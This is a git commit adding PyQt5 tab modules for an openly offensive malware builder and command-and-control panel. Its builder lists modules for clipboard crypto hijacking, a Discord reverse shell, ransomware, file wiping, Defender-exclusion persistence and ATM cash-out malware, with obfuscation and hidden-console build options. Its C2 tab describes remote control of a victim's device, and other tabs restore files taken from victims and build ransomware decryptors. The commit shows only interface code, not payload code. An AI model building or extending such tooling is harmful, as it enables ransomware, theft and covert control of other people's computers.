Add TABS package modules and refactor whispers

This commit is contained in:
Abdullah Sarwar
2025-12-07 22:30:58 +05:00
parent 36a595d593
commit 91c96f3879
19 changed files with 1817 additions and 1661 deletions

9
TABS/__init__.py Normal file
View File

@ -0,0 +1,9 @@
# TABS package
from .builder import BuilderWidget
from .output import OutputWidget
from .c2 import C2Widget
from .krash import KrashWidget
from .garbage import GarbageCollectorWidget
from .docs import DocsWidget
from .settings import SettingsWidget
from .whispers import SilentWhispersWidget

1
TABS/builder/__init__.py Normal file
View File

@ -0,0 +1 @@
from .builder import BuilderWidget

525
TABS/builder/builder.py Normal file
View File

@ -0,0 +1,525 @@
import os
from functools import partial
from PyQt5.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
QComboBox, QCheckBox, QLabel, QGroupBox, QScrollArea,
QTableWidget, QTableWidgetItem, QHeaderView, QAbstractItemView, QSizePolicy
)
from PyQt5.QtGui import QFont, QPixmap, QMovie
from PyQt5.QtCore import Qt, pyqtSignal
MODULES = {
'module/ctrlvamp': {
'desc': 'Hijacks clipboard crypto addresses (BTC, ETH, BEP-20, SOL).'
},
'module/dumpster': {
'desc': 'Collects files from a directory and archives them into a single file.'
},
'module/ghostintheshell': {
'desc': 'Provides a reverse shell over Discord for remote access.'
},
'module/krash': {
'desc': 'Encrypts files in target directories and displays a ransom note.'
},
'module/poof': {
'desc': 'Recursively deletes all files and folders from a target directory.'
},
'module/undeleteme': {
'desc': 'Gains persistence and can add a Windows Defender exclusion.'
},
'module/byovf': {
'desc': 'Bring your own Nim file and embed secondary files (e.g., drivers, DLLs).'
},
'module/bankruptsys': {
'desc': 'An ATM malware module to dispense cash via XFS.'
},
'module/winkrashv2': {
'desc': 'A ransomware module for Windows that uses direct syscalls.'
}
}
class ModuleTableWidget(QTableWidget):
"""A QTableWidget that supports drag-and-drop row reordering."""
reorder_signal = pyqtSignal(list)
def __init__(self, parent=None):
super().__init__(parent)
self.setDragDropMode(QAbstractItemView.InternalMove)
self.setSelectionBehavior(QAbstractItemView.SelectRows)
self.setSelectionMode(QAbstractItemView.SingleSelection)
def dropEvent(self, event):
if event.source() == self and (event.dropAction() == Qt.MoveAction or self.dragDropMode() == QAbstractItemView.InternalMove):
source_row = self.selectionModel().currentIndex().row()
dest_row = self.indexAt(event.pos()).row()
if dest_row == -1:
dest_row = self.rowCount() - 1
current_order = []
for row in range(self.rowCount()):
item = self.item(row, 0)
if item and item.data(Qt.UserRole):
current_order.append(item.data(Qt.UserRole))
moved_item = current_order.pop(source_row)
current_order.insert(dest_row, moved_item)
self.reorder_signal.emit(current_order)
event.accept()
event.setDropAction(Qt.IgnoreAction)
else:
super().dropEvent(event)
class BuilderWidget(QWidget):
"""Builder tab widget for module selection and build configuration."""
build_requested = pyqtSignal(dict)
log_message = pyqtSignal(str, str)
def __init__(self, script_dir, module_options, parent=None):
super().__init__(parent)
self.script_dir = script_dir
self.module_options = module_options
self.selected_modules = []
self.option_inputs = {}
self.current_option_values = {}
self.loading_movie = None
self.init_ui()
def init_ui(self):
layout = QHBoxLayout(self)
title_font = QFont()
title_font.setBold(True)
title_font.setPointSize(9)
subtitle_font = QFont()
subtitle_font.setPointSize(9)
# Left side - Module Options and Build Options
left_layout = QVBoxLayout()
self.module_options_group = QGroupBox("MODULE OPTIONS")
self.module_options_group.setFont(title_font)
module_options_group_layout = QVBoxLayout(self.module_options_group)
scroll_area = QScrollArea()
scroll_area.setWidgetResizable(True)
scroll_area.setStyleSheet("QScrollArea { border: none; }")
scroll_area.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
scroll_area.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
scroll_content_widget = QWidget()
self.options_layout = QVBoxLayout(scroll_content_widget)
scroll_area.setWidget(scroll_content_widget)
module_options_group_layout.addWidget(scroll_area)
left_layout.addWidget(self.module_options_group, stretch=7)
# Build Options
build_options_group = QGroupBox("BUILD OPTIONS")
build_options_group.setFont(title_font)
build_options_layout = QVBoxLayout(build_options_group)
build_options_layout.setSpacing(10)
exe_name_layout = QHBoxLayout()
exe_name_label = QLabel("EXE NAME")
exe_name_label.setFont(subtitle_font)
self.exe_name_input = QLineEdit("payload")
self.exe_name_input.setFont(subtitle_font)
exe_name_layout.addWidget(exe_name_label)
exe_name_layout.addWidget(self.exe_name_input, 1)
target_os_label = QLabel("OS")
target_os_label.setFont(subtitle_font)
self.target_os_combo = QComboBox()
self.target_os_combo.addItems(["windows", "linux", "macos"])
self.target_os_combo.setFont(subtitle_font)
self.target_os_combo.currentTextChanged.connect(self.update_windows_only_options)
exe_name_layout.addWidget(target_os_label)
exe_name_layout.addWidget(self.target_os_combo, 1)
target_arch_label = QLabel("PROCESSOR")
target_arch_label.setFont(subtitle_font)
self.target_arch_combo = QComboBox()
self.target_arch_combo.addItems(["amd64", "arm64"])
self.target_arch_combo.setFont(subtitle_font)
exe_name_layout.addWidget(target_arch_label)
exe_name_layout.addWidget(self.target_arch_combo, 1)
build_options_layout.addLayout(exe_name_layout)
win_options_layout = QHBoxLayout()
self.hide_console_check = QCheckBox("HIDE CONSOLE")
self.hide_console_check.setFont(subtitle_font)
self.hide_console_check.setChecked(True)
win_options_layout.addWidget(self.hide_console_check)
self.obfuscate_check = QCheckBox("OBFUSCATE")
self.obfuscate_check.setFont(subtitle_font)
self.obfuscate_check.setChecked(False)
self.obfuscate_check.stateChanged.connect(self.toggle_obfuscation)
win_options_layout.addWidget(self.obfuscate_check)
self.ollvm_input = QLineEdit("")
self.ollvm_input.setPlaceholderText("e.g., -fla -sub -bcf")
self.ollvm_input.setFont(subtitle_font)
win_options_layout.addWidget(self.ollvm_input, 1)
build_options_layout.addLayout(win_options_layout)
left_layout.addWidget(build_options_group)
# Build Button
build_btn_layout = QHBoxLayout()
self.build_btn = QPushButton("BUILD")
self.build_btn.setFont(subtitle_font)
self.build_btn.clicked.connect(self.on_build_clicked)
build_btn_layout.addWidget(self.build_btn)
left_layout.addLayout(build_btn_layout)
# Banner
banner_layout = QHBoxLayout()
self.banner_label = QLabel("Banner Placeholder")
self.banner_label.setFont(subtitle_font)
banner_path = os.path.join(self.script_dir, "ASSETS", "banner.png")
movie = QMovie(banner_path)
if movie.isValid():
self.banner_label.setMovie(movie)
movie.start()
self.banner_label.setFixedHeight(50)
self.banner_label.setAlignment(Qt.AlignCenter)
banner_layout.addWidget(self.banner_label, stretch=1)
left_layout.addLayout(banner_layout)
layout.addLayout(left_layout, 6)
# Right side - Module selection and chain
right_layout = QVBoxLayout()
module_select_layout = QVBoxLayout()
module_select_layout.setContentsMargins(0, 12, 0, 0)
module_label = QLabel("MODULES")
module_label.setFont(title_font)
module_select_layout.addWidget(module_label)
self.module_combo = QComboBox()
self.module_combo.setFont(subtitle_font)
self.module_combo.addItem("SELECT MODULE")
for module in MODULES.keys():
self.module_combo.addItem(module.split('/')[-1])
self.module_combo.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Fixed)
module_select_layout.addWidget(self.module_combo)
module_buttons_layout = QHBoxLayout()
self.add_module_btn = QPushButton("ADD MODULE")
self.add_module_btn.setFont(subtitle_font)
self.add_module_btn.clicked.connect(self.add_module)
module_buttons_layout.addWidget(self.add_module_btn)
module_select_layout.addLayout(module_buttons_layout)
right_layout.addLayout(module_select_layout)
module_chain_label = QLabel("MODULE CHAIN")
module_chain_label.setFont(title_font)
right_layout.addWidget(module_chain_label)
self.module_table = ModuleTableWidget()
self.module_table.setFont(subtitle_font)
self.module_table.setColumnCount(2)
self.module_table.setHorizontalHeaderLabels(["Module", ""])
self.module_table.horizontalHeader().setSectionResizeMode(0, QHeaderView.Stretch)
self.module_table.setColumnWidth(1, 50)
self.module_table.setStyleSheet("background-color: #0a0a0a;")
self.module_table.reorder_signal.connect(self.reorder_modules)
self.module_table.itemClicked.connect(self.on_module_item_clicked)
right_layout.addWidget(self.module_table)
layout.addLayout(right_layout, 4)
self.update_options_layout()
self.update_windows_only_options(self.target_os_combo.currentText())
def toggle_obfuscation(self):
self.ollvm_input.setEnabled(self.obfuscate_check.isChecked())
def update_windows_only_options(self, os_name):
if os_name in ("linux", "macos"):
self.hide_console_check.setEnabled(False)
self.obfuscate_check.setEnabled(False)
self.obfuscate_check.setChecked(False)
self.ollvm_input.setEnabled(False)
else:
self.hide_console_check.setEnabled(True)
self.obfuscate_check.setEnabled(True)
self.toggle_obfuscation()
def add_module(self):
module_name = self.module_combo.currentText()
if module_name == "SELECT MODULE":
self.log_message.emit("Error: No module selected.", "error")
return
full_module = f"module/{module_name}"
if full_module in self.selected_modules:
self.log_message.emit(f"Error: Module {module_name} already added.", "error")
return
if full_module in MODULES:
self.selected_modules.append(full_module)
self.log_message.emit(f"Added module: {module_name}", "success")
self.update_all_option_values()
self.update_module_table()
self.update_options_layout()
def remove_module(self, module_to_remove):
if module_to_remove in self.selected_modules:
self.selected_modules.remove(module_to_remove)
module_name = os.path.basename(module_to_remove)
self.log_message.emit(f"Removed module: {module_name}", "system")
self.update_all_option_values()
self.update_module_table()
self.update_options_layout()
def on_module_item_clicked(self, item):
self.update_options_layout(focused_module=item.data(Qt.UserRole))
def reorder_modules(self, new_order):
if self.selected_modules == new_order:
return
self.log_message.emit("Module chain reordered.", "system")
self.selected_modules = new_order
self.update_module_table()
def update_module_table(self):
self.module_table.setRowCount(len(self.selected_modules))
for i, module in enumerate(self.selected_modules):
module_name = module.split('/')[-1]
name_item = QTableWidgetItem(module_name)
name_item.setFont(QFont("Arial", 10))
name_item.setData(Qt.UserRole, module)
name_item.setTextAlignment(Qt.AlignLeft | Qt.AlignVCenter)
self.module_table.setItem(i, 0, name_item)
remove_btn = QPushButton("X")
remove_btn.setFont(QFont("Arial", 8))
remove_btn.clicked.connect(partial(self.remove_module, module))
self.module_table.setCellWidget(i, 1, remove_btn)
for i in range(self.module_table.rowCount()):
self.module_table.setRowHeight(i, 30)
def update_options_layout(self, focused_module=None):
for i in reversed(range(self.options_layout.count())):
layout_item = self.options_layout.itemAt(i)
if layout_item.widget():
layout_item.widget().deleteLater()
elif layout_item.layout():
while layout_item.layout().count():
child = layout_item.layout().takeAt(0)
if child.widget():
child.widget().deleteLater()
layout_item.layout().deleteLater()
elif layout_item.spacerItem():
self.options_layout.removeItem(layout_item)
self.option_inputs.clear()
subtitle_font = QFont()
subtitle_font.setPointSize(9)
title_font = QFont()
title_font.setBold(True)
title_font.setPointSize(9)
if not self.selected_modules:
icon_label = QLabel()
icon_path = os.path.join(self.script_dir, "ASSETS", "normal.png")
pixmap = QPixmap(icon_path)
if not pixmap.isNull():
icon_label.setPixmap(pixmap.scaled(500, 500, Qt.KeepAspectRatio, Qt.SmoothTransformation))
else:
icon_label.setText("Add a module to see its options")
icon_label.setAlignment(Qt.AlignCenter)
self.options_layout.addStretch()
self.options_layout.addWidget(icon_label, 0, Qt.AlignCenter)
self.module_options_group.setTitle("MODULE OPTIONS")
return
modules_to_show = [focused_module] if focused_module else self.selected_modules
if focused_module:
self.module_options_group.setTitle(f"{focused_module.split('/')[-1].upper()} OPTIONS")
self.module_options_group.setFont(title_font)
else:
self.module_options_group.setTitle("MODULE OPTIONS")
has_any_options = False
for module_name in modules_to_show:
if module_name not in self.module_options or not self.module_options[module_name]:
continue
has_any_options = True
if not focused_module and len(self.selected_modules) > 1:
module_label = QLabel(f"{module_name.split('/')[-1].upper()} OPTIONS")
module_label.setStyleSheet("font-weight: bold; color: #707070;")
module_label.setFont(title_font)
self.options_layout.addWidget(module_label)
module_defaults = self.module_options.get(module_name, {})
module_current_values = self.current_option_values.get(module_name, {})
for option, default_value in module_defaults.items():
value = module_current_values.get(option, default_value)
option_row = QHBoxLayout()
option_label = QLabel(f"{option}:")
option_label.setFont(subtitle_font)
option_label.setStyleSheet("color: #b0b0b0;")
if option in ['persistence', 'defenderExclusion']:
input_widget = QCheckBox()
input_widget.setFont(subtitle_font)
try:
is_checked = str(value).lower() in ('true', '1', 'yes', 'on')
input_widget.setChecked(is_checked)
except:
input_widget.setChecked(False)
else:
input_widget = QLineEdit(value)
input_widget.setFont(subtitle_font)
if option in ['nimFile', 'embedFiles', 'dumpsterFile', 'inputDir', 'outputDir', 'targetDir']:
browse_btn = QPushButton("Browse...")
option_row.addWidget(browse_btn)
option_row.addWidget(option_label)
option_row.addWidget(input_widget)
self.options_layout.addLayout(option_row)
self.option_inputs[f"{module_name}:{option}"] = input_widget
if not focused_module:
self.options_layout.addSpacing(10)
if not has_any_options:
no_options_label = QLabel("No configurable options for the selected module(s).")
no_options_label.setFont(subtitle_font)
no_options_label.setAlignment(Qt.AlignCenter)
self.options_layout.addStretch()
self.options_layout.addWidget(no_options_label, 0, Qt.AlignCenter)
self.options_layout.addStretch()
else:
self.options_layout.addStretch()
def update_all_option_values(self):
for key, widget in self.option_inputs.items():
module_name, option_name = key.split(":")
if module_name not in self.current_option_values:
self.current_option_values[module_name] = {}
if isinstance(widget, QLineEdit):
value = widget.text()
elif isinstance(widget, QCheckBox):
value = str(widget.isChecked()).lower()
else:
continue
self.current_option_values[module_name][option_name] = value
def show_loading_view(self):
for i in reversed(range(self.options_layout.count())):
layout_item = self.options_layout.itemAt(i)
if layout_item.widget():
layout_item.widget().deleteLater()
elif layout_item.layout():
while layout_item.layout().count():
child = layout_item.layout().takeAt(0)
if child.widget():
child.widget().deleteLater()
layout_item.layout().deleteLater()
elif layout_item.spacerItem():
self.options_layout.removeItem(layout_item)
self.option_inputs.clear()
icon_label = QLabel()
icon_path = os.path.join(self.script_dir, "ASSETS", "loading.gif")
self.loading_movie = QMovie(icon_path)
if not self.loading_movie.isValid():
icon_label.setText("Building...")
icon_label.setStyleSheet("color: #909090;")
else:
icon_label.setMovie(self.loading_movie)
original_size = self.loading_movie.frameRect().size()
scaled_size = original_size.scaled(500, 500, Qt.KeepAspectRatio)
self.loading_movie.setScaledSize(scaled_size)
self.loading_movie.start()
icon_label.setAlignment(Qt.AlignCenter)
self.options_layout.addStretch()
self.options_layout.addWidget(icon_label, 0, Qt.AlignCenter)
self.options_layout.addStretch()
def clear_loading_view(self):
if self.loading_movie:
self.loading_movie.stop()
self.loading_movie = None
for i in reversed(range(self.options_layout.count())):
layout_item = self.options_layout.itemAt(i)
if layout_item.widget():
layout_item.widget().deleteLater()
elif layout_item.layout():
while layout_item.layout().count():
child = layout_item.layout().takeAt(0)
if child.widget():
child.widget().deleteLater()
layout_item.layout().deleteLater()
elif layout_item.spacerItem():
self.options_layout.removeItem(layout_item)
def show_result_view(self, is_success):
self.clear_loading_view()
image_name = "success.png" if is_success else "error.png"
fallback_text = "SUCCESS" if is_success else "BUILD FAILED"
icon_label = QLabel()
icon_path = os.path.join(self.script_dir, "ASSETS", image_name)
pixmap = QPixmap(icon_path)
if not pixmap.isNull():
icon_label.setPixmap(pixmap.scaled(500, 500, Qt.KeepAspectRatio, Qt.SmoothTransformation))
else:
icon_label.setText(fallback_text)
icon_label.setStyleSheet(f"color: {'#ffffff' if is_success else '#808080'}; font-size: 18px; font-weight: bold;")
icon_label.setAlignment(Qt.AlignCenter)
self.options_layout.addStretch()
self.options_layout.addWidget(icon_label, 0, Qt.AlignCenter)
self.options_layout.addStretch()
def on_build_clicked(self):
self.update_all_option_values()
build_config = {
'selected_modules': self.selected_modules,
'exe_name': self.exe_name_input.text(),
'target_os': self.target_os_combo.currentText(),
'target_arch': self.target_arch_combo.currentText(),
'hide_console': self.hide_console_check.isChecked(),
'obfuscate': self.obfuscate_check.isChecked(),
'ollvm': self.ollvm_input.text(),
'option_values': self.current_option_values
}
self.build_requested.emit(build_config)
def get_settings(self):
self.update_all_option_values()
return {
'exe_name': self.exe_name_input.text(),
'target_os': self.target_os_combo.currentText(),
'target_arch': self.target_arch_combo.currentText(),
'hide_console': self.hide_console_check.isChecked(),
'obfuscate': self.obfuscate_check.isChecked(),
'ollvm': self.ollvm_input.text(),
'module_chain': self.selected_modules,
'module_options': self.current_option_values
}
def load_settings(self, settings):
self.exe_name_input.setText(settings.get('exe_name', 'payload'))
self.target_os_combo.setCurrentText(settings.get('target_os', 'windows'))
self.target_arch_combo.setCurrentText(settings.get('target_arch', 'amd64'))
self.hide_console_check.setChecked(settings.get('hide_console', True))
self.obfuscate_check.setChecked(settings.get('obfuscate', False))
self.ollvm_input.setText(settings.get('ollvm', ''))
self.selected_modules = settings.get('module_chain', [])
self.current_option_values = settings.get('module_options', {})
self.update_module_table()
self.update_options_layout()

1
TABS/c2/__init__.py Normal file
View File

@ -0,0 +1 @@
from .c2 import C2Widget

110
TABS/c2/c2.py Normal file
View File

@ -0,0 +1,110 @@
import os
from PyQt5.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
QTextEdit, QLabel
)
from PyQt5.QtGui import QFont, QPixmap
from PyQt5.QtCore import Qt, pyqtSignal
class C2Widget(QWidget):
"""C2 (Command and Control) tab widget."""
connect_requested = pyqtSignal()
send_message_requested = pyqtSignal(str)
def __init__(self, script_dir, parent=None):
super().__init__(parent)
self.script_dir = script_dir
self.init_ui()
def init_ui(self):
main_layout = QHBoxLayout(self)
main_layout.setContentsMargins(15, 15, 15, 15)
title_font = QFont()
title_font.setBold(True)
title_font.setPointSize(9)
subtitle_font = QFont()
subtitle_font.setPointSize(9)
# Left column - Controls
left_column_widget = QWidget()
left_layout = QVBoxLayout(left_column_widget)
left_layout.setContentsMargins(0, 0, 0, 0)
header_layout = QHBoxLayout()
title = QLabel("COMMAND AND CONTROL")
title.setFont(title_font)
header_layout.addWidget(title)
left_layout.addLayout(header_layout)
desc = QLabel("Connect to RAT to send commands to and receive output from the 'ghostintheshell' payload.\nCommunication via HTTP Server\nControl victim's device remotely")
desc.setFont(subtitle_font)
desc.setStyleSheet("color: #707070;")
desc.setWordWrap(True)
left_layout.addWidget(desc)
self.connect_btn = QPushButton("Connect")
self.connect_btn.clicked.connect(self.on_connect_clicked)
left_layout.addWidget(self.connect_btn)
self.log = QTextEdit()
self.log.setReadOnly(True)
self.log.setFont(subtitle_font)
self.log.setStyleSheet("background-color: #0e0e0e;")
left_layout.addWidget(self.log)
input_layout = QHBoxLayout()
self.cmd_input = QLineEdit()
self.cmd_input.setPlaceholderText("Enter command to send...")
self.cmd_input.returnPressed.connect(self.on_send_clicked)
self.cmd_input.setEnabled(False)
self.send_btn = QPushButton("Send")
self.send_btn.clicked.connect(self.on_send_clicked)
self.send_btn.setEnabled(False)
input_layout.addWidget(self.cmd_input, 1)
input_layout.addWidget(self.send_btn)
left_layout.addLayout(input_layout)
# Right column - Image
image_label = QLabel()
image_path = os.path.join(self.script_dir, "ASSETS", "c2.png")
pixmap = QPixmap(image_path)
if not pixmap.isNull():
image_label.setPixmap(pixmap.scaled(300, 800, Qt.KeepAspectRatio, Qt.SmoothTransformation))
image_label.setAlignment(Qt.AlignCenter)
main_layout.addWidget(left_column_widget, 6)
main_layout.addWidget(image_label, 4)
def on_connect_clicked(self):
self.connect_requested.emit()
def on_send_clicked(self):
content = self.cmd_input.text().strip()
if content:
self.send_message_requested.emit(content)
self.cmd_input.clear()
def log_message(self, message, msg_type="system"):
color_map = {
"error": "#808080",
"success": "#ffffff",
"system": "#a0a0a0",
"c2_sent": "#d0d0d0",
"c2_recv": "#ffffff",
"c2_debug": "#606060"
}
color = color_map.get(msg_type, "#c0c0c0")
self.log.append(f'<font color="{color}">{message}</font>')
def set_connected(self, is_connected):
self.cmd_input.setEnabled(is_connected)
self.send_btn.setEnabled(is_connected)
self.connect_btn.setText("Disconnect" if is_connected else "Connect")
def clear_log(self):
self.log.clear()

1
TABS/docs/__init__.py Normal file
View File

@ -0,0 +1 @@
from .docs import DocsWidget

34
TABS/docs/docs.py Normal file
View File

@ -0,0 +1,34 @@
import os
from PyQt5.QtWidgets import QWidget, QVBoxLayout, QTextEdit
from PyQt5.QtGui import QFont
class DocsWidget(QWidget):
"""Documentation tab widget."""
def __init__(self, script_dir, parent=None):
super().__init__(parent)
self.script_dir = script_dir
self.init_ui()
def init_ui(self):
layout = QVBoxLayout(self)
layout.setContentsMargins(15, 15, 15, 15)
subtitle_font = QFont()
subtitle_font.setPointSize(9)
self.docs_text = QTextEdit()
self.docs_text.setFont(subtitle_font)
self.docs_text.setReadOnly(True)
doc_path = os.path.join(self.script_dir, "DOC.md")
try:
with open(doc_path, 'r', encoding='utf-8') as f:
doc_content = f.read()
self.docs_text.setMarkdown(doc_content)
except FileNotFoundError:
self.docs_text.setText("Error: DOC.md not found.")
self.docs_text.setStyleSheet("background-color: #0e0e0e;")
layout.addWidget(self.docs_text)

1
TABS/garbage/__init__.py Normal file
View File

@ -0,0 +1 @@
from .garbage import GarbageCollectorWidget

189
TABS/garbage/garbage.py Normal file
View File

@ -0,0 +1,189 @@
import os
from pathlib import Path
from PyQt5.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
QLabel, QGroupBox, QListWidget, QListWidgetItem, QFileDialog
)
from PyQt5.QtGui import QFont, QPixmap
from PyQt5.QtCore import Qt, pyqtSignal, QApplication
class GarbageCollectorWidget(QWidget):
"""Garbage Collector tab widget for file restoration."""
restore_requested = pyqtSignal(str, str)
def __init__(self, script_dir, parent=None):
super().__init__(parent)
self.script_dir = script_dir
self.init_ui()
def init_ui(self):
layout = QVBoxLayout(self)
layout.setContentsMargins(15, 15, 15, 15)
layout.setSpacing(15)
title_font = QFont()
title_font.setBold(True)
title_font.setPointSize(9)
subtitle_font = QFont()
subtitle_font.setPointSize(9)
# Top section
top_widget = QWidget()
top_layout = QHBoxLayout(top_widget)
# Icon
icon_label = QLabel()
icon_path = os.path.join(self.script_dir, "ASSETS", "garbage.png")
pixmap = QPixmap(icon_path)
if not pixmap.isNull():
icon_label.setPixmap(pixmap.scaled(300, 300, Qt.KeepAspectRatio, Qt.SmoothTransformation))
icon_label.setAlignment(Qt.AlignCenter)
top_layout.addWidget(icon_label, 3)
# Restore options
restore_options_group = QGroupBox("RESTORE FILES FROM DUMPSTER")
restore_options_group.setFont(title_font)
restore_options_layout = QVBoxLayout(restore_options_group)
desc_label = QLabel("Select a dumpster file and a destination directory to restore its contents.\nCopy all the desired files you want from victim's system")
desc_label.setFont(subtitle_font)
desc_label.setStyleSheet("color: #909090;")
desc_label.setWordWrap(True)
restore_options_layout.addWidget(desc_label)
# Dumpster file path
dumpster_file_label = QLabel("Dumpster File Path")
dumpster_file_label.setFont(subtitle_font)
dumpster_file_label.setStyleSheet("color: #b0b0b0;")
dumpster_file_layout = QHBoxLayout()
self.dumpster_file_edit = QLineEdit()
dumpster_file_btn = QPushButton("Browse...")
dumpster_file_btn.clicked.connect(self.browse_dumpster_file)
dumpster_file_layout.addWidget(dumpster_file_label)
dumpster_file_layout.addWidget(self.dumpster_file_edit)
dumpster_file_layout.addWidget(dumpster_file_btn)
restore_options_layout.addLayout(dumpster_file_layout)
# Output directory
output_dir_label = QLabel("Destination Directory")
output_dir_label.setFont(subtitle_font)
output_dir_label.setStyleSheet("color: #b0b0b0;")
output_dir_layout = QHBoxLayout()
self.output_dir_edit = QLineEdit()
output_dir_btn = QPushButton("Browse...")
output_dir_btn.clicked.connect(self.browse_output_directory)
output_dir_layout.addWidget(output_dir_label)
output_dir_layout.addWidget(self.output_dir_edit)
output_dir_layout.addWidget(output_dir_btn)
restore_options_layout.addLayout(output_dir_layout)
restore_btn = QPushButton("Restore")
restore_btn.setFont(subtitle_font)
restore_btn.clicked.connect(self.on_restore_clicked)
restore_options_layout.addWidget(restore_btn)
restore_options_layout.addStretch()
top_layout.addWidget(restore_options_group, 7)
# Bottom section - destination files list
bottom_widget = QWidget()
bottom_layout = QVBoxLayout(bottom_widget)
dest_folder_group = QGroupBox()
dest_folder_layout = QVBoxLayout(dest_folder_group)
dest_header_layout = QHBoxLayout()
refresh_dest_btn = QPushButton("⟳ Refresh")
refresh_dest_btn.clicked.connect(self.update_destination_view)
dest_header_layout.addWidget(refresh_dest_btn, 0, Qt.AlignRight)
dest_folder_layout.addLayout(dest_header_layout)
self.dest_files_list = QListWidget()
self.dest_files_list.setFont(subtitle_font)
self.dest_files_list.setStyleSheet("background-color: #0e0e0e;")
dest_folder_layout.addWidget(self.dest_files_list)
bottom_layout.addWidget(dest_folder_group)
layout.addWidget(top_widget, 4)
layout.addWidget(bottom_widget, 6)
def browse_dumpster_file(self):
file_path, _ = QFileDialog.getOpenFileName(self, "Open Dumpster File", "", "All Files (*)")
if file_path:
home_path = str(Path.home())
if file_path.startswith(home_path):
self.dumpster_file_edit.setText(file_path.replace(home_path, "$HOME", 1))
else:
self.dumpster_file_edit.setText(file_path)
def browse_output_directory(self):
directory = QFileDialog.getExistingDirectory(self, "Select Directory")
if directory:
home_path = str(Path.home())
if directory.startswith(home_path):
directory = directory.replace(home_path, "$HOME", 1)
self.output_dir_edit.setText(directory)
def on_restore_clicked(self):
dumpster_file = self.dumpster_file_edit.text()
output_dir = self.output_dir_edit.text()
self.restore_requested.emit(dumpster_file, output_dir)
def show_loading_view(self):
self.dest_files_list.clear()
icon_label = QLabel()
icon_path = os.path.join(self.script_dir, "ASSETS", "garbage.png")
pixmap = QPixmap(icon_path)
if not pixmap.isNull():
icon_label.setPixmap(pixmap.scaled(300, 300, Qt.KeepAspectRatio, Qt.SmoothTransformation))
else:
icon_label.setText("Restoring...")
list_item = QListWidgetItem()
list_widget = QWidget()
layout = QHBoxLayout(list_widget)
layout.addWidget(icon_label)
layout.setAlignment(Qt.AlignCenter)
list_item.setSizeHint(list_widget.sizeHint())
self.dest_files_list.addItem(list_item)
self.dest_files_list.setItemWidget(list_item, list_widget)
QApplication.processEvents()
def clear_loading_view(self):
for i in reversed(range(self.dest_files_list.count())):
item = self.dest_files_list.takeItem(i)
del item
self.dest_files_list.clear()
QApplication.processEvents()
def update_destination_view(self):
self.clear_loading_view()
self.dest_files_list.clear()
dest_dir_str = self.output_dir_edit.text()
if not dest_dir_str:
self.dest_files_list.addItem("Select a destination directory to see its contents.")
return
dest_dir = Path(dest_dir_str.replace("$HOME", str(Path.home())))
if not dest_dir.is_dir():
self.dest_files_list.addItem(f"Directory does not exist: {dest_dir}")
return
try:
files = list(dest_dir.iterdir())
if not files:
self.dest_files_list.addItem("Destination directory is empty.")
return
for item_path in sorted(files):
self.dest_files_list.addItem(QListWidgetItem(item_path.name))
except Exception as e:
self.dest_files_list.addItem(f"Error reading directory: {e}")
def get_settings(self):
return {
'dumpster_file': self.dumpster_file_edit.text(),
'output_dir': self.output_dir_edit.text()
}
def load_settings(self, settings):
self.dumpster_file_edit.setText(settings.get('dumpster_file', ''))
self.output_dir_edit.setText(settings.get('output_dir', ''))

1
TABS/krash/__init__.py Normal file
View File

@ -0,0 +1 @@
from .krash import KrashWidget

208
TABS/krash/krash.py Normal file
View File

@ -0,0 +1,208 @@
import os
from PyQt5.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QPushButton, QLineEdit,
QComboBox, QLabel, QGroupBox, QTableWidget, QTableWidgetItem, QHeaderView
)
from PyQt5.QtGui import QFont, QPixmap
from PyQt5.QtCore import Qt, pyqtSignal
class KrashWidget(QWidget):
"""KRASH/Decryptor tab widget."""
build_decryptor_requested = pyqtSignal(dict)
listener_toggle_requested = pyqtSignal()
listener_refresh_requested = pyqtSignal()
def __init__(self, script_dir, parent=None):
super().__init__(parent)
self.script_dir = script_dir
self.init_ui()
def init_ui(self):
layout = QVBoxLayout(self)
layout.setContentsMargins(15, 15, 15, 15)
layout.setSpacing(15)
title_font = QFont()
title_font.setBold(True)
title_font.setPointSize(9)
subtitle_font = QFont()
subtitle_font.setPointSize(9)
# Decryptor options
options_group = QGroupBox("DECRYPTOR")
options_group.setFont(title_font)
options_layout = QVBoxLayout(options_group)
desc_label = QLabel("Build a standalone decryptor for files encrypted by the 'krash' module.\nEnsure the Key and IV match the ones used for encryption.")
desc_label.setFont(subtitle_font)
desc_label.setStyleSheet("color: #909090;")
desc_label.setWordWrap(True)
options_layout.addWidget(desc_label)
options_layout.addSpacing(10)
# Key
key_layout = QHBoxLayout()
key_label = QLabel("Key")
key_label.setFont(subtitle_font)
key_label.setStyleSheet("color: #b0b0b0;")
self.key_edit = QLineEdit("0123456789abcdef0123456789abcdef")
self.key_edit.setFont(subtitle_font)
key_layout.addWidget(key_label)
key_layout.addWidget(self.key_edit)
options_layout.addLayout(key_layout)
# IV
iv_layout = QHBoxLayout()
iv_label = QLabel("IV")
iv_label.setFont(subtitle_font)
iv_label.setStyleSheet("color: #b0b0b0;")
self.iv_edit = QLineEdit("abcdef9876543210")
self.iv_edit.setFont(subtitle_font)
iv_layout.addWidget(iv_label)
iv_layout.addWidget(self.iv_edit)
options_layout.addLayout(iv_layout)
# Extension
ext_layout = QHBoxLayout()
ext_label = QLabel("Extension")
ext_label.setFont(subtitle_font)
ext_label.setStyleSheet("color: #b0b0b0;")
self.ext_edit = QLineEdit(".locked")
self.ext_edit.setFont(subtitle_font)
ext_layout.addWidget(ext_label)
ext_layout.addWidget(self.ext_edit)
options_layout.addLayout(ext_layout)
# Build options
build_options_layout = QHBoxLayout()
exe_label = QLabel("EXE Name")
exe_label.setFont(subtitle_font)
exe_label.setStyleSheet("color: #b0b0b0;")
self.exe_name_edit = QLineEdit("decryptor")
os_label = QLabel("OS")
os_label.setFont(subtitle_font)
self.os_combo = QComboBox()
self.os_combo.addItems(["windows", "linux", "macos"])
arch_label = QLabel("Processor")
arch_label.setFont(subtitle_font)
self.arch_combo = QComboBox()
self.arch_combo.addItems(["amd64", "arm64"])
build_options_layout.addWidget(exe_label)
build_options_layout.addWidget(self.exe_name_edit, 1)
build_options_layout.addWidget(os_label)
build_options_layout.addWidget(self.os_combo, 1)
